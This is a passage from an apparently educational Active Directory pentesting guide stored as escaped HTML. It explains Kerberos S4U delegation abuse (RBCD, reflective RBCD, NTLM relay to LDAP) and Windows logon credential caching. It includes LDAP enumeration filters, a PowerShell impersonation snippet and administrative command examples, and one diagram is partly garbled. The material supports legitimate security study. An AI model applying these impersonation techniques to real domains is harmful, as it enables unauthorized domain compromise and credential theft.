href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-ada2\/86261ca1-154c-41fb-8e5f-c6446e77daaa\">msDS-AllowedToDelegateTo<\/a> attribute. The specific rules can be seen<br \/>\nin <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/c98bade9-cad1-4745-bd4d-d13926103022\">MS-SFU specification<\/a>, but here is a summary of checks performed by the KDC<br \/>\nwhen a S4U2self request is received:<\/p>\n<ol>\n<li>If service user does not have any services =&gt; return error<br \/>\nKDC-ERR-S-PRINCIPAL-UNKNOWN.<\/li>\n<li>If client is <a href=\"#kerberos-anti-delegation-measures\">protected against delegation<\/a> =&gt; return non-FORWARDABLE TGS.<\/li>\n<li>If service user TRUSTED_TO_AUTH_FOR_DELEGATION flag is set =&gt; return<br \/>\nFORWARDABLE TGS.<\/li>\n<li>If service user TRUSTED_TO_AUTH_FOR_DELEGATION flag is not set and service<br \/>\nuser has services in ms-AllowedToDelegateTo =&gt; return non-FORWARDABLE TGS.<br \/>\n(This TGS can still be<br \/>\n<a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#serendipity\">used for S4U2proxy with Resource Based Constrained Delegation<\/a>)<\/li>\n<li>If service user TRUSTED_TO_AUTH_FOR_DELEGATION flag is not set and service<br \/>\nuser ms-AllowedToDelegateTo is empty =&gt; return FORWARDABLE TGS.<\/li>\n<\/ol>\n<p>Let&#8217;s view an example:<\/p>\n<figure>\n<pre>                                                                KDC\n                          .---. &gt;---2) TGS-REQ--------------&gt;  .---.\n                         \/   \/|     + SPN: HTTP\/websrv        \/   \/|\n  ____                  .---. |     + For user: client       .---. |\n |    | &gt;-1) SPNEGO--&gt;  |   | '     + TGT websrv$            |   | '\n |____|     (NTLM)      |   |\/                               |   |\/ \n \/::::\/                 '---'  &lt;----3) TGS-REP-------------&lt; '---'  \n client                websrv   + TGS client &gt; HTTP\/websrv\n<\/pre><figcaption>\nS4U2self process<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client is authenticated against the HTTP\/websrv service by using NTLM (or<br \/>\nany other authentication protocol) since it doesn&#8217;t support Kerberos.<\/li>\n<li>The websrv requests a S4U2self TGS for the client by sending a TGS-REQ to the<br \/>\nKDC.<\/li>\n<li>The KDC examines the requests, the websrv$ TRUSTED_TO_AUTH_FOR_DELEGATION<br \/>\nflag and if the client is protected against delegation. If everything is<br \/>\ncorrect, the KDC returns a HTTP\/websrv TGS for the client, which may or may<br \/>\nnot be FORWARDABLE depending on the variables mentioned.<\/li>\n<\/ol>\n<p>Moreover, S4U2Self can be used across domains. Let&#8217;s see how this works:<\/p>\n<figure>\n<pre>                                                           ____       \n                                                          |    |\n                                   .-----1) SPNEGO------&lt; |____|\n                                   |       (NTLM)         \/::::\/\n                                   |                   client (bar)\n                                   |\n                                   |\n  foo KDC                          v                                    bar KDC\n   .---. &lt;----2) TGS-REQ------&lt;  .---. &gt;---------4) TGS-REQ------------&gt;  .---.\n  \/   \/|  + SPN: krbtgt\/bar     \/   \/|        + SPN: HTTP\/websrv         \/   \/|\n .---. |  + TGT websrv$ &gt; foo  .---. |        + For user: client        .---. |\n |   | '                       |   | '        + TGT websrv$ &gt; bar       |   | '\n |   |\/                        |   |\/                                   |   |\/ \n '---'  &gt;-----3) TGS-REP-----&gt; '---'  &lt;----------5) TGS-REP-----------&lt; '---'  \n v   ^   + TGT websrv$ &gt; bar  websrv    + TGT websrv$ (client) &gt; foo\n |   |                         (foo)\n |   |                         v   ^\n |   |                         |   |\n |   '--&lt;&lt;--6) TGS-REQ---&lt;&lt;----'   |                  \n |  + SPN: HTTP\/websrv             | \n |  + For user: client             |     \n |  + TGT websrv$ (client) &gt; foo   |\n |                                 |\n '-----&gt;&gt;---7) TGS-REP----&gt;&gt;-------'                \n   + TGS client &gt; HTTP\/websrv\n<\/pre><figcaption>\nS4U2self across domains<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The client is authenticated against the HTTP\/websrv service by using NTLM (or<br \/>\nany other authentication protocol) since it doesn&#8217;t support Kerberos.<\/li>\n<li>websrv determines that the realm of client is <code>bar<\/code>, so it sends a TGS-REQ<br \/>\nasking for a TGT for <code>bar<\/code> domain.<\/li>\n<li>The KDC returns an inter-realm TGT for <code>bar<\/code> to websrv.<\/li>\n<li>websrv uses its new inter-realm TGT to ask to <code>bar<\/code> KDC for a HTTP\/websrv TGS<br \/>\nfor the client.<\/li>\n<li>The bar KDC determines that the HTTP\/websrv service is in the <code>foo<\/code> domain,<br \/>\nso it cannot issue a TGS for HTTP\/websrv service, but it returns a referral<br \/>\nTGT for <code>foo<\/code> domain that indicates that a HTTP\/websrv TGS for the client was<br \/>\nrequested.<\/li>\n<li>Then, websrv uses this referral TGT issued by the <code>bar<\/code> KDC to ask for a TGS<br \/>\nfor client to the <code>foo<\/code> KDC.<\/li>\n<li>The foo KDC inspects the request and the referral TGT and determines that an<br \/>\nHTTP\/websrv TGS for client can be issued.<\/li>\n<\/ol>\n<h6 id=\"s4u2self-and-s4u2proxy\">\nS4U2self and S4U2proxy<\/h6>\n<p>Now that we know how S4U2self and S4U2proxy works, let&#8217;s view and example of<br \/>\nthem used together.<\/p>\n<figure>\n<pre>                                                  KDC\n   .------&gt;&gt;----1) TGS-REQ-----&gt;&gt;---------------&gt; .---.\n   |            + SPN: HTTP\/websrv               \/   \/|\n   |            + For user: admin               .---. |\n   |            + TGT websrv$                   |   | '\n   |                                            |   |\/ \n   |   .--&lt;&lt;----2) TGS-REP-----&lt;&lt;-------------&lt; '---'  \n   |   |        + TGS admin &gt; HTTP\/websrv       ^   v\n   |   |                                        |   |\n   |   |                                        |   |\n   ^   v                                        |   |\n   .---. &gt;-&gt;&gt;---3) TGS-REQ-----&gt;&gt;---------------'   |\n  \/   \/|        + SPN: MSSQLSvc\/dbsrv               |\n .---. |        + TGT websrv$                       |\n |   | '        + TGS admin &gt; HTTP\/websrv           |\n |   |\/                                             |\n '---'  &lt;--&lt;&lt;---4) TGS-REP-----&lt;&lt;-------------------'\n websrv         + TGS admin &gt; MSSQLSvc\/dbsrv\n   v\n   |\n   |                                      .---.\n   |                                     \/   \/|\n   '------------5) AP-REQ-------------&gt; .---. |\n       + TGS admin &gt; MSSQLSvc\/dbsrv     |   | '\n                                        |   |\/ \n                                        '---'  \n                                        dbsrv\n<\/pre><figcaption>\nS4U2self chained with S4U2proxy<br \/>\n<\/figcaption><\/figure>\n<ol>\n<li>The websrv requests a HTTP\/websrv TGS for the admin user to KDC by using<br \/>\nS4U2self through a TGS-REQ.<\/li>\n<li>The KDC examines the requests, the websrv$ TRUSTED_TO_AUTH_FOR_DELEGATION<br \/>\nflag and if admin is protected against delegation. If everything is correct,<br \/>\nthe KDC returns a HTTP\/websrv TGS for the client, which may or may not be<br \/>\nFORWARDABLE depending on the variables mentioned in <a href=\"#s4u2self\">S4U2Self<\/a>.<\/li>\n<li>Then, websrv asks for a MSSQLSvc\/dbsrv TGS on behalf of admin by using the<br \/>\nS4U2self TGS, and its own TGT.<\/li>\n<li>The KDC checks that the service user websrv$ is allowed to ask delegation<br \/>\ntickets for MSSQLSvc\/dbsrv following the rules mentioned in <a href=\"#s4u2proxy\">S4U2Proxy<\/a>. Then,<br \/>\nit returns a MSSQLSvc\/dbsrv TGS for admin.<\/li>\n<li>websrv uses the MSSQLSvc\/dbsrv TGS to authenticate itself against<br \/>\nthe database by impersonating the admin.<\/li>\n<\/ol>\n<p>Therefore, as we can see, it is possible to chain S4U2self and S4U2proxy so you<br \/>\ncan impersonate any user (except those <a href=\"#kerberos-anti-delegation-measures\">protected against delegation<\/a>) against all<br \/>\nof those services that the service user is allowed to perform the constrained<br \/>\ndelegation.<\/p>\n<p>And, of course, it is also possible to <a href=\"https:\/\/exploit.ph\/crossing-trusts-4-delegation.html\">use S4U2self and S4U2proxy across<br \/>\ndomains<\/a>.<\/p>\n<h6 id=\"s4u-attacks\">\nS4U attacks<\/h6>\n<p>Let&#8217;s view know how the Constrained Delegation and S4U extensions can be abused<br \/>\nin a pentest.<\/p>\n<p>In order to find accounts that use Constrained Delegation, you must search for<br \/>\naccount with the UserAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION enabled<br \/>\n(S4U2self\/Protocol Transition) or with values in the attributes<br \/>\nmsDS-AllowedToDelegateTo (Classic Constrained Delegation) or<br \/>\nmsDS-AllowedToActOnBehalfOfOtherIdentity (RBCD). Here is an LDAP filter you can<br \/>\nuse to search for Constrained Delegation accounts:<\/p>\n<figure>\n<pre><code data-lang=\"ldap\">(|\n  (UserAccountControl:1.2.840.113556.1.4.803:=16777216)\n  (msDS-AllowedToDelegateTo=*)\n  (msDS-AllowedToActOnBehalfOfOtherIdentity=*)\n)<\/code><\/pre><figcaption>\nLDAP filter to retrieve accounts related to Constrained Delegation<br \/>\n<\/figcaption><\/figure>\n<p>In order to find Constrained Delegation related accounts, you can use tools like<br \/>\n<a href=\"https:\/\/github.com\/EmpireProject\/Empire\/blob\/master\/data\/module_source\/situational_awareness\/network\/powerview.ps1\">Powerview<\/a> , <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/findDelegation.py\">impacket findDelegation.py<\/a> script, the <a href=\"https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/addsadministration\/?view=win10-ps\">Powershell ActiveDirectory<br \/>\nmodule<\/a> or <a href=\"https:\/\/linux.die.net\/man\/1\/ldapsearch\">ldapsearch<\/a>.<\/p>\n<figure>\n<pre><code data-lang=\"ldap\">(|\n  (memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=&lt;domain&gt;,DC=&lt;dom&gt;)\n  (userAccountControl:1.2.840.113556.1.4.803:=1048576)\n)<\/code><\/pre><figcaption>\nLDAP filter to retrieve accounts protected against delegation<br \/>\n<\/figcaption><\/figure>\n<p>Once you located the accounts and want to perform some related Kerberos<br \/>\noperations, there are many tools that allows to perform ticket requests through<br \/>\nthe S4U extensions and get TGS for arbitrary users to impersonate them. You can<br \/>\nuse the <a href=\"https:\/\/labs.f-secure.com\/archive\/trust-years-to-earn-seconds-to-break\/#:~:text=Practical%20Exploitation\">MIT kerberos utils<\/a> (<a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-1.12\/doc\/admin\/admin_commands\/ktutil.html\">ktutitl<\/a>, <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-devel\/doc\/user\/user_commands\/kinit.html\">kinit<\/a>, <a href=\"https:\/\/web.mit.edu\/kerberos\/krb5-devel\/doc\/user\/user_commands\/kvno.html\">kvno<\/a>), <a href=\"https:\/\/github.com\/GhostPack\/Rubeus#s4u\">Rubeus<\/a>, <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getST.py\">getST.py<\/a> impacket<br \/>\nscript or <a href=\"https:\/\/gitlab.com\/Zer1t0\/cerbero\/\">cerbero<\/a>.<\/p>\n<p>Additionally, in case of being execute commands as SYSTEM account in a computer<br \/>\nwith Constrained Delegation (therefore in the context of the computer account in<br \/>\nActive Directory), it is possible to use S4U2self and S4U2proxy with a<br \/>\n<a href=\"https:\/\/www.harmj0y.net\/blog\/activedirectory\/s4u2pwnage\/#:~:text=Scenario%202\">little of Powershell code<\/a>:<\/p>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"powershell\"># Code made by Lee Christensen (@tifkin_) and Will Schroeder (@harmj0y)\n# Source: https:\/\/www.harmj0y.net\/blog\/activedirectory\/s4u2pwnage\/\n# translated from the C# example at https:\/\/msdn.microsoft.com\/en-us\/library\/ff649317.aspx\n# load the necessary assembly\n$Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel')\n# execute S4U2Self w\/ WindowsIdentity to request a forwardable TGS for the specified user\n$Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@FOO.LOCAL')\n# actually impersonate the next context\n$Context = $Ident.Impersonate()\n# implicitly invoke S4U2Proxy with the specified action\nls \\DC01.FOO.LOCALC$\n# undo the impersonation context\n$Context.Undo()<\/code><\/pre>\n<p>The good thing about Constrained Delegation is that in many cases (RBCD or<br \/>\nTrustedToAuthForDelegation enabled) you can impersonate users without any<br \/>\ninteraction. However, since the quantity of services you can access is limited<br \/>\nyou must be aware of those sensible services that can be useful in delegation:<\/p>\n<dl>\n<dt>\nLDAP of a domain controller<\/dt>\n<dd>The <a href=\"#ldap\">LDAP<\/a> service of Active Directory is used to<br \/>\nmanage the accounts, including its permissions, so if you can impersonate an<br \/>\nAdministrator against the LDAP service, you can give any privileges to any<br \/>\nuser account that you control. An example is to give rights to an<br \/>\narbitrary to perform a <a href=\"https:\/\/adsecurity.org\/?p=1729\">DCSync attack<\/a> and compromise the domain.<\/dd>\n<dt>\nSMB of any computer<\/dt>\n<dd>In case of being allowed to impersonate any user<br \/>\nagainst the SMB (cifs in the SPN) service of a computer, you can access to all<br \/>\nthe files in the computer, execute commands by using tools like <a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">psexec<\/a> and<br \/>\nperform other actions over RPC calls.<\/dd>\n<dt>\nMSSQL services<\/dt>\n<dd>Apart from contain sensitive data that can be an important<br \/>\nflag to obtain in a pentest, <a href=\"#sql-server\">MSSQL<\/a> servers can also allow to users to execute<br \/>\ncommands via <a href=\"https:\/\/docs.microsoft.com\/en-us\/sql\/relational-databases\/system-stored-procedures\/xp-cmdshell-transact-sql?view=sql-server-ver15\">xp_cmdshell<\/a> command, abuse NTLM relay by performing HTTP<br \/>\nrequests <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#case-study-1-mssql-rcelpe\">via xp_dirtree to a WebDAV server<\/a>, and <a href=\"https:\/\/github.com\/NetSPI\/PowerUpSQL\">many other options<\/a>.<\/dd>\n<dt>\nkrbtgt service<\/dt>\n<dd>If a account is allowed to delegate to the krbtgt service,<br \/>\nit can ask <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#unconstrained-domain-persistence\">TGTs for any account<\/a> that it is allowed to impersonate.<\/dd>\n<\/dl>\n<p>And remember that, even if you are not allowed to delegate directly to one of<br \/>\nthese services through Classic Constrained Delegation (ms-AllowedToDelegateTo<br \/>\nattribute), but to one service of the same user, you can change the <a href=\"https:\/\/www.secureauth.com\/blog\/kerberos-delegation-spns-and-more\/\">target<br \/>\nservice in the ticket<\/a>. For instance, if you are allowed to delegate to the HTTP<br \/>\nservice of a computer, e.g HTTP\/websrv, you could change the target service to<br \/>\nCIFS\/websrv to access the computer (if the HTTP service is being execute in the<br \/>\ncontext of the computer account). Also, if you can delegate any service of a DC,<br \/>\nyou probably can change the ticket service to use it to access to the LDAP<br \/>\nservice.<\/p>\n<p>In order to impersonate a user to a service, you need Resource Based Constrained<br \/>\nDelegation (RBCD) or Classic Constrained Delegation with Protocol Transition<br \/>\n(S4U2self).<\/p>\n<p>You can enable RBCD to an account by being allowed to write in its<br \/>\nms-AllowedToActOnBehalfOfOtherIdentity attribute and point to an account that<br \/>\nhas at least one service (in order to use S4U2self).<\/p>\n<p>If you don&#8217;t have an account that has at least one service, you can create one<br \/>\ncomputer account by abusing the <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#generic-dacl-abuse\">machine quota<\/a> that allows users by default to<br \/>\ncreate until 10 machine accounts on the domain. This can be done with <a href=\"https:\/\/github.com\/Kevin-Robertson\/Powermad#machineaccountquota-functions\">Powermad<\/a><br \/>\nor <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/addcomputer.py\">impacket addcomputer.py<\/a>. Once the computer account is created (the user can<br \/>\nchoose the password of the computer account), the user that created it can<br \/>\nassign services to it. Thus you can get a account with services.<\/p>\n<p>Moreover, the accounts by default has permissions to edit its own<br \/>\nms-AllowedToActOnBehalfOfOtherIdentity attribute. So if you are able to get<br \/>\ncredentials (like NT hash, Kerberos keys, or <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce\">TGTs<\/a>) of a computer account, you can<br \/>\nenable RBCD to an arbitrary user to that computer. This way, you can use RBCD to<br \/>\nimpersonate an administrator against the computer CIFS (SMB) service and<br \/>\ncompromise the computer.<\/p>\n<p>Actually, since you have computer account credentials, you can enable RBCD to<br \/>\nitself (reflective RBCD). This way you just need to use <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#empowering-active-directory-objects-and-reflective-resource-based-constrained-delegation\">S4U2self to ask for a<br \/>\nticket for the computer CIFS service<\/a> in order to get a TGS to compromise the<br \/>\nhost. This even works to impersonate protected user accounts. In case you are<br \/>\nwondering, this method is required since domain computer accounts doesn&#8217;t have<br \/>\npermissions by default to access remotely to the computer itself as<br \/>\nadministrator.<\/p>\n<figure>\n<pre>   .----------------------1) LDAP (modify websrv$) --------------------.                                                   \n   |      + msds-AllowedToActOnBehalfOfOtherIdentity = [\"websrv\n\n\n\n<pre wp-pre-tag-166=\"\"><\/pre>\n<p>#34;]     |<br \/>\n|                                                                   v<br \/>\n|     .----------------2) TGS-REQ---------------------------.      .---.<br \/>\n^     |              + SPN: CIFS\/websrv                     |     \/   \/|<br \/>\no  &gt;--'              + For user: admin                      '--&gt; .---. |<br \/>\n\/|                   + TGT websrv$                               |   | '<br \/>\n\/                                                                |   |\/<br \/>\nwebsrv$ &lt;-----------------3) TGS-REP------------------------------&lt; '---'<br \/>\nv                  + TGS admin &gt; CIFS\/websrv                      DC (KDC)<br \/>\n|<br \/>\n|                                        .---.<br \/>\n|                                       \/   \/|<br \/>\n'---------4) AP-REQ------------------&gt; .---. |<br \/>\n+ TGS admin &gt; CIFS\/websrv        |   | '<br \/>\n|   |\/<br \/>\n'---'<br \/>\nwebsrv<figcaption>\nReflective RBCD attack<br \/>\n<\/figcaption><\/figure>\n<p>Notwithstanding, to acquire computer credentials before compromising the<br \/>\nmachine can be tricky (maybe with <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#when-the-stars-align-unconstrained-delegation-leads-to-rce\">Unconstrained Delegation<\/a>?), but in case you<br \/>\ncan coerce to the computer to make an NTLM-authenticated HTTP request against a<br \/>\nhost you control, you can use a cross <a href=\"#ntlm-relay\">NTLM relay<\/a> attack from HTTP to LDAP in<br \/>\norder to enable RBCD for the computer account to an account that you control.<\/p>\n<p>To use this primitive you can <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#viable-ntlm-relay-primitives-for-rcelpe\">take advantage of the WebDAV<\/a> client installed<br \/>\nby default in Windows desktops. For instance, you can trigger an authenticated<br \/>\nHTTP request by using the <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#case-study-1-mssql-rcelpe\">xp_dirtree procedure of a MSSQL database<\/a> (you can use<br \/>\n<a href=\"https:\/\/gist.github.com\/3xocyte\/0dc0bd4cb48cc7b4075bdc90a1ccc7d3\">bad_sequel.py<\/a> for this).<\/p>\n<p>However, it is possible that you compromise accounts with Classic Constrained<br \/>\nDelegation that hasn&#8217;t Protocol Transition (S4U2self) enabled, so you are unable<br \/>\nto ask a ticket for any user. In this case, you could <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#when-accounts-collude---trustedtoauthfordelegation-who\">use RBCD to mimic Protocol<br \/>\nTransition<\/a>. This means you can enable RBCD from the compromised account (the one<br \/>\nwith Classic Constrained Delegation) to another account, so that other account<br \/>\ncan ask a ticket for any user to the compromised account, that should be<br \/>\n<a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html#a-forwardable-result\">forwardable since it is produced by S4U2proxy<\/a> (the <a href=\"https:\/\/docs.microsoft.com\/en-us\/openspecs\/windows_protocols\/ms-sfu\/ce6bbf34-0f11-40d6-93d1-165a3afa0223?redirectedfrom=MSDN\">specification has been<br \/>\nupdated<\/a> but this fact seems to stay right), this way imitating Protocol<br \/>\nTransition.<\/p>\n<p>This could be a little tricky, so lets view an example were the dbsrv is<br \/>\ncompromised and has Classic Constrained Delegation enabled but without Protocol<br \/>\nTransition. However, websrv is also compromised and can be used for RBCD<br \/>\nProtocol Transition. Then RBCD is enabled from websrv to dbsrv and websrv is<br \/>\nused to mimic protocol transition and finally get an admin TGS to compromise<br \/>\nfilesrv in the following way.<\/p>\n<figure>\n<pre>                                        KDC\n   .-------1) TGS-REQ--&gt;&gt;------------&gt; .---. &lt;----6) TGS-REQ----&lt;&lt;------------.  \n   |    + SPN: HTTP\/websrv            \/   \/| + SPN: CIFS\/filesrv              |\n   |    + For user: admin            .---. | + TGT dbsrv$                     |\n   |    + TGT websrv$                |   | ' + TGS(F) admin &gt; MSSQLSvc\/dbsrv  |\n   |                                 |   |\/                                   |\n   |  .----2) TGS-REP--&lt;&lt;----------&lt; '---' &gt;------7) TGS-REP----&gt;&gt;--------.   |             \n   |  | + TGS admin &gt; HTTP\/websrv    ^   v   + TGS admin &gt; CIFS\/filesrv   |   |\n   |  |                              |   |                                |   |\n   |  |                              |   |                                |   |\n   |  |                              |   |                                |   |\n   ^  v                              |   |                                |   |\n   .---. &gt;--------3) TGS-REQ----&gt;&gt;---'   |                                |   |\n  \/   \/|  + SPN: MSSQLSvc\/dbsrv          |                                |   |\n .---. |  + TGT websrv$                  |                                |   |\n |   | '  + TGS admin &gt; HTTP\/websrv      |                                |   |\n |   |\/                                  |                                |   |\n '---' &lt;----------4) TGS-REP----&lt;&lt;-------'                                v   ^\n websrv  + TGS(F) admin &gt; MSSQLSvc\/dbsrv                                  .---. \n   v                                                                     \/   \/|  \n   |                                                                    .---. | \n   '------------------5) Send the ticket-----&gt;&gt;&gt;&gt;---------------------&gt; |   | '                      \n                    + TGS(F) admin &gt; MSSQLSvc\/dbsrv                     |   |\/  \n                                                                        '---'   \n                                                                        dbsrv   \n                                  .---.                                  v\n                                 \/   \/|                                  |\n                                .---. | &lt;--8) AP-REQ---&lt;&lt;----------------'\n                                |   | '  + TGS admin &gt; CIFS\/filesrv\n                                |   |\/ \n                                '---'  \n                                filesrv\n<\/pre><figcaption>\nUsing RBCD as Protocol Transition<br \/>\n<\/figcaption><\/figure>\n<p>In the first four steps, websrv uses S4U2self and S4U2proxy for acquire a<br \/>\nforwardable MSSQLSvc\/dbsrv TGS for admin, thus mimicking Protocol Transition.<br \/>\nThen websrv sends this admin TGS to dbsrv, that uses it for S4U2proxy and<br \/>\nrequest a CIFS\/filesrv TGS for admin, that allows to compromise filesrv.<\/p>\n<h3 id=\"logon-types\">\nLogon types<\/h3>\n<p>In order to logon users, both locally and remotely, Windows defines different<br \/>\ntypes of logons that is important to known as an attacker for a couple of<br \/>\nreasons. Firstly, not every logons can be used by any user, so you need to be<br \/>\naware what you are allowed to do. Secondly,<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows-server\/identity\/securing-privileged-access\/reference-tools-logon-types\">many logons cache credentials in the lsass process<\/a> , or even in the LSA secrets,<br \/>\n, that can be recover by a pentester, so is important to recognize which are<br \/>\nthese logons.<\/p>\n<h4 id=\"interactive-logon\">\nInteractive logon<\/h4>\n<p>The interactive logon or locally logon happens when there is a login in the<br \/>\nphysical machine, or when using <code>runas<\/code>. The credentials get cached in the<br \/>\nlsass process of the machine.<\/p>\n<figure>\n<img decoding=\"async\" src=\".\/interactive_logon.png\" alt=\".\/interactive_logon.png\" title=\".\/interactive_logon.png\"><figcaption>\nInteractive logon<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">runas \/user:&lt;username&gt; cmd<\/code><\/pre><figcaption>\nInteractive logon with runas<br \/>\n<\/figcaption><\/figure>\n<p>In this type of logon, in case of local accounts, the computer checks the<br \/>\npassword by checking its NT hash against those stored in the SAM. If the user<br \/>\nis using a domain account, the computer checks the user credentials by asking a<br \/>\nKerberos TGT to the Domain Controller that gets cached in the machine. In case<br \/>\nthe Domain Controller is not accessible, the computer checks the user<br \/>\ncredentials in the Domain cached credentials (DCC) storage that caches the<br \/>\ncredentials of the last <a href=\"https:\/\/docs.microsoft.com\/en-us\/troubleshoot\/windows-server\/user-profiles-and-logon\/cached-domain-logon-information\">domain users logged in the machine<\/a>. If the domain<br \/>\ncredentials are not cached, the computer is not able to authenticate the user.<\/p>\n<p>Once the authentication is verified, the NT hash, derived from the password,<br \/>\nis stored in the lsass process. For domain accounts, also Kerberos keys, also<br \/>\nderived from the user password, and tickets are cached to provide SSO (Single<br \/>\nSign On). In older computers, even the plain password is cached.<\/p>\n<p>In order to perform an Interactive logon, you may require the<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/allow-log-on-locally\">SeInteractiveLogonRight<\/a>, especially on Domain Controllers or other Windows<br \/>\nServer machines.<\/p>\n<h4 id=\"network-logon\">\nNetwork logon<\/h4>\n<p>The network logon happens when you connect to a remote machine<br \/>\nusing a non interactive service like SMB, RPC, SQL, etc. For this kind of<br \/>\nlogon you require the password, the NT hash or a Kerberos ticket, so they are<br \/>\nsusceptible of Pass-The-Hash, Pass-The-Key or Pass-The-Ticket attack. One<br \/>\nimportant fact is that the <strong>credentials are not cached<\/strong> in the remote machine,<br \/>\nexcept if Kerberos delegation is enabled.<\/p>\n<p>This is probably the type of logon more commonly used by an attacker (I mean<br \/>\nconsciously, cause is also the most used by legitimate users since computers<br \/>\nare connecting each other constantly in a domain).<\/p>\n<blockquote><p><a href=\"https:\/\/docs.microsoft.com\/en-us\/sysinternals\/downloads\/psexec\">Psexec<\/a>, the <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\">impacket<\/a> suite and Powershell remote (using WinRM with default<br \/>\nlogin) use this kind of authentication even if they provide an interactive<br \/>\nshell.<\/p><\/blockquote>\n<p>Here are some examples of network logon:<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">dir \\ws01-10Temp<\/code><\/pre><figcaption>\nAccess to a share<br \/>\n<\/figcaption><\/figure>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">.PsExec.exe \\dc01 cmd<\/code><\/pre><figcaption>\nExecute PsExec<br \/>\n<\/figcaption><\/figure>\n<p>In this type of logon, the client connects to a remote machine and uses <a href=\"#spnego\">SPNEGO<\/a><br \/>\nto negotiate the authentication protocol, and finally uses <a href=\"#kerberos\">Kerberos<\/a> or <a href=\"#ntlm\">NTLM<\/a>.<br \/>\nSince using any of these protocols the credentials of the user are not sent<br \/>\ndirectly, they cannot be cached in the target machine. The exception is if<br \/>\n<a href=\"#kerberos-delegation\">Kerberos delegation<\/a> is enabled.<\/p>\n<p>Be aware that even if you can perform a Network logon, there could many<br \/>\nreasons why a service cannot be used. First one is that there is a firewall<br \/>\npreventing for connections to the remote services, and the second one is that<br \/>\nmany of the services that are available through Network logon can be only<br \/>\nbeing used for administrators.<\/p>\n<p>For example, you may be able to use Network logon to access to some shares of<br \/>\na remote computer, but cannot launch a shell with PsExec since it needs access<br \/>\nto the service Manager, which can only be accessed by administrators.<\/p>\n<h4 id=\"batch-logon\">\nBatch logon<\/h4>\n<p>Used to running scheduled tasks in the context of an user. The<br \/>\nMicrosoft documentation indicates that the password of task user is stored in<br \/>\nthe LSA secrets, however I wasn&#8217;t able to store the password there on my<br \/>\ntests. Also the credentials will be cached in the lsass process when the task<br \/>\nis executed.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">schtasks.exe \/create \/tn notepaddaily \/tr notepad.exe \/sc daily \/ru CONTOSOTaskUser \/rp task1234!<\/code><\/pre><figcaption>\nTask creation with user credentials<br \/>\n<\/figcaption><\/figure>\n<p>Be aware that the batch logon will be produced when the task is executed,<br \/>\nnot when is created. So maybe you have privileges to run as a task (like<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/log-on-as-a-batch-job\">SeBatchLogonRight<\/a>) but you cannot create a task. For example, Backup Operators<br \/>\nhave the SeBatchLogonRight but they cannot create tasks (by default).<\/p>\n<p>When the task is launched the credentials are verified and cached as in the<br \/>\n<a href=\"#interactive-logon\">Interactive Logon<\/a>.<\/p>\n<h4 id=\"service-logon\">\nService logon<\/h4>\n<p>The service logon is used when a service is going to be launched in the<br \/>\ncontext of an user. The plain password is stored in the LSA secrets of the<br \/>\nmachine and the credentials will be cached in the lsass process when the<br \/>\nservice is executed.<\/p>\n<figure>\n<pre style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4\"><code data-lang=\"cmd\">sc.exe create MySvc2 binpath= c:windowssystem32notepad.exe obj=CONTOSO.localsvcUser password=svc1234!<\/code><\/pre><figcaption>\nService creation with user credentials<br \/>\n<\/figcaption><\/figure>\n<p>Be aware that the service logon will be produced when the service is executed,<br \/>\nnot when is created. So maybe you have privileges to logon as a service (like<br \/>\n<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/security\/threat-protection\/security-policy-settings\/log-on-as-a-service\">SeServiceLogonRight<\/a>) but you cannot create a service.<\/p>\n<p>When the service is launched the credentials are verified and cached as in the<br 